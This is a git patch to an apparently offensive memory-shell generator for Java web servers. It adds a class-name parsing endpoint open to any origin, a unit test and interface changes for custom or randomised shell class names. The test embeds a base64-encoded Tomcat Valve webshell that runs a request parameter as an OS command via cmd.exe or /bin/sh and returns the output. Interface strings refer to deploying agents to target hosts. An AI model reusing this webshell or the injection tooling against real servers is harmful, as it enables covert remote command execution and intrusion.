From 3b179c10c0c8535b2308583c0e239bcc5f98655a Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 16 Nov 2025 11:55:17 +0800 Subject: [PATCH] feat: support parse custom shell className --- .../controller/ClassNameParseController.java | 24 +++++ .../ClassNameParseControllerTest.java | 18 ++++ .../javaweb/memshell/MemShellGenerator.java | 7 +- .../memshell/tabs/classname-field.tsx | 92 ++++++++++++++----- .../components/memshell/tabs/custom-tab.tsx | 63 ++++++++++++- web/src/i18n/memshell/en.json | 2 + web/src/i18n/memshell/zh-CN.json | 2 + 7 files changed, 180 insertions(+), 28 deletions(-) create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java create mode 100644 boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java new file mode 100644 index 00000000..46a5f187 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.boot.controller; + +import org.springframework.asm.ClassReader; +import org.springframework.cglib.core.ClassNameReader; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2025/11/10 + */ +@RestController +@CrossOrigin("*") +public class ClassNameParseController { + + @PostMapping("/className") + public String className(@RequestBody String classBase64) { + return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64))); + } +} diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java new file mode 100644 index 00000000..91e3941d --- /dev/null +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.boot.controller; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * @author ReaJason + * @since 2025/11/10 + */ +class ClassNameParseControllerTest { + @Test + void test(){ + ClassNameParseController classNameParseController = new ClassNameParseController(); + String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA"); + assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 9fdea05f..d6c2a0a7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -36,9 +36,10 @@ public class MemShellGenerator { Class shellClass = shellInjectorPair.getLeft(); injectorClass = shellInjectorPair.getRight(); shellToolConfig.setShellClass(shellClass); - if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { - shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType())); - } + } + + if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { + shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType())); } if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) { diff --git a/web/src/components/memshell/tabs/classname-field.tsx b/web/src/components/memshell/tabs/classname-field.tsx index f4730f67..1573c5b2 100644 --- a/web/src/components/memshell/tabs/classname-field.tsx +++ b/web/src/components/memshell/tabs/classname-field.tsx @@ -1,42 +1,84 @@ -import { ChevronDown, ChevronUp, Settings } from "lucide-react"; -import { Fragment, useState } from "react"; +import { Shuffle } from "lucide-react"; +import { Fragment, useEffect, useState } from "react"; import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { Button } from "@/components/ui/button"; import { FormField, FormFieldItem, FormFieldLabel, } from "@/components/ui/form.tsx"; import { Input } from "@/components/ui/input.tsx"; +import { Switch } from "@/components/ui/switch.tsx"; import type { MemShellFormSchema } from "@/types/schema.ts"; export function OptionalClassFormField({ form, }: Readonly<{ form: UseFormReturn }>) { const { t } = useTranslation(["memshell", "common"]); - const [showAdvanced, setShowAdvanced] = useState(false); + const initialShellClassName = form.getValues("shellClassName") ?? ""; + const initialInjectorClassName = form.getValues("injectorClassName") ?? ""; + const [useRandomClassName, setUseRandomClassName] = useState( + () => + !(initialShellClassName?.trim() || initialInjectorClassName?.trim()), + ); + const [savedShellClassName, setSavedShellClassName] = useState( + initialShellClassName, + ); + const [savedInjectorClassName, setSavedInjectorClassName] = useState( + initialInjectorClassName, + ); + const shellClassName = form.watch("shellClassName"); + const injectorClassName = form.watch("injectorClassName"); + + useEffect(() => { + if (!useRandomClassName) { + setSavedShellClassName(shellClassName ?? ""); + } + }, [shellClassName, useRandomClassName]); + + useEffect(() => { + if (!useRandomClassName) { + setSavedInjectorClassName(injectorClassName ?? ""); + } + }, [injectorClassName, useRandomClassName]); + + useEffect(() => { + if ( + useRandomClassName && + (shellClassName?.trim() || injectorClassName?.trim()) + ) { + setUseRandomClassName(false); + } + }, [injectorClassName, shellClassName, useRandomClassName]); + + const handleToggleRandomClass = (checked: boolean) => { + setUseRandomClassName(checked); + if (checked) { + setSavedShellClassName(form.getValues("shellClassName") ?? ""); + setSavedInjectorClassName(form.getValues("injectorClassName") ?? ""); + form.setValue("shellClassName", ""); + form.setValue("injectorClassName", ""); + } else { + form.setValue("shellClassName", savedShellClassName ?? ""); + form.setValue("injectorClassName", savedInjectorClassName ?? ""); + } + }; + return ( -
- +
+
+ + {t("mainConfig.randomClassName")} +
+
- {showAdvanced && ( - + + {!useRandomClassName && ( )} /> + )} + {!useRandomClassName && ( )} /> - - )} + )} + ); } diff --git a/web/src/components/memshell/tabs/custom-tab.tsx b/web/src/components/memshell/tabs/custom-tab.tsx index a7e7260f..afa0d18d 100644 --- a/web/src/components/memshell/tabs/custom-tab.tsx +++ b/web/src/components/memshell/tabs/custom-tab.tsx @@ -1,6 +1,7 @@ -import { useState } from "react"; +import { useEffect, useRef, useState } from "react"; import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; +import { toast } from "sonner"; import { Card, CardContent } from "@/components/ui/card"; import { FormControl, @@ -14,6 +15,7 @@ import { Label } from "@/components/ui/label"; import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; import { TabsContent } from "@/components/ui/tabs"; import { Textarea } from "@/components/ui/textarea"; +import { env } from "@/config.ts"; import type { MemShellFormSchema } from "@/types/schema"; import { OptionalClassFormField } from "./classname-field"; import { ShellTypeFormField } from "./shelltype-field"; @@ -28,6 +30,65 @@ export default function CustomTabContent({ }>) { const [isFile, setIsFile] = useState(false); const { t } = useTranslation(["memshell", "common"]); + const shellClassBase64 = form.watch("shellClassBase64"); + const lastParsedBase64Ref = useRef(undefined); + const classNameEndpoint = `${env.API_URL}/className`; + + useEffect(() => { + if (!shellClassBase64) { + lastParsedBase64Ref.current = undefined as string | undefined; + return; + } + + if (shellClassBase64 === lastParsedBase64Ref.current) { + return; + } + + const controller = new AbortController(); + const timer = setTimeout(() => { + const parseClassName = async () => { + try { + const response = await fetch(classNameEndpoint, { + method: "POST", + headers: { + "Content-Type": "text/plain", + }, + body: shellClassBase64, + signal: controller.signal, + }); + + if (!response.ok) { + throw new Error(response.statusText); + } + + const className = await response.text(); + + if (!className) { + throw new Error("EMPTY_CLASS_NAME"); + } + + lastParsedBase64Ref.current = shellClassBase64; + form.setValue("shellClassName", className, { + shouldDirty: true, + }); + } catch (error) { + if ((error as Error)?.name === "AbortError") { + return; + } + + toast.error(t("memshell:tips.classNameParseFailed")); + } + }; + + void parseClassName(); + }, 400); + + return () => { + clearTimeout(timer); + controller.abort(); + }; + }, [classNameEndpoint, form, shellClassBase64, t]); + return ( diff --git a/web/src/i18n/memshell/en.json b/web/src/i18n/memshell/en.json index dfabd955..b426c36b 100644 --- a/web/src/i18n/memshell/en.json +++ b/web/src/i18n/memshell/en.json @@ -6,6 +6,7 @@ "classNameOptions": "ClassNameOptions", "injectorClass": "InjectorClass", "mainConfig.injectorClassName": "Injector ClassName", + "mainConfig.randomClassName": "Random Class Name", "mainConfig.shellClassName": "Shell ClassName", "mainConfig.shellMountType": "Shell Mount Type", "mainConfig.shellTool": "ShellTool", @@ -36,6 +37,7 @@ "shellToolConfig.neoreGeorgHeader": "Custom Header", "shellToolConfig.neoreGeorgKey": "Connection Key", "shellToolConfig.suo5Header": "AdvanceConfiguration -> Request Header", + "tips.classNameParseFailed": "Failed to parse class name, please verify the Base64 data", "tips.agent-move-to-target": "Move MemShellAgent.jar and jattach to target host", "tips.agent-move-to-target1": "Move MemShellAgent.jar to target host", "tips.controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller", diff --git a/web/src/i18n/memshell/zh-CN.json b/web/src/i18n/memshell/zh-CN.json index 177224ed..95fedc98 100644 --- a/web/src/i18n/memshell/zh-CN.json +++ b/web/src/i18n/memshell/zh-CN.json @@ -7,6 +7,7 @@ "shellClass": "内存马", "classNameOptions": "类名配置项", "mainConfig.injectorClassName": "注入器类名", + "mainConfig.randomClassName": "随机类名", "mainConfig.shellClassName": "内存马类名", "mainConfig.shellMountType": "内存马挂载类型", "mainConfig.shellTool": "内存马功能", @@ -37,6 +38,7 @@ "shellToolConfig.neoreGeorgKey": "连接密钥", "shellToolConfig.suo5Header": "高级配置 -> 请求头", "tips.agent-move-to-target": "将 MemShellAgent.jar 和 jattach 移到到目标服务磁盘上", + "tips.classNameParseFailed": "无法解析类名,请检查 Base64 内容", "tips.agent-move-to-target1": "将 MemShellAgent.jar 移到到目标服务磁盘上", "tips.controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller", "tips.customShellClass": "请输入自定义内存马类,base64 或类文件",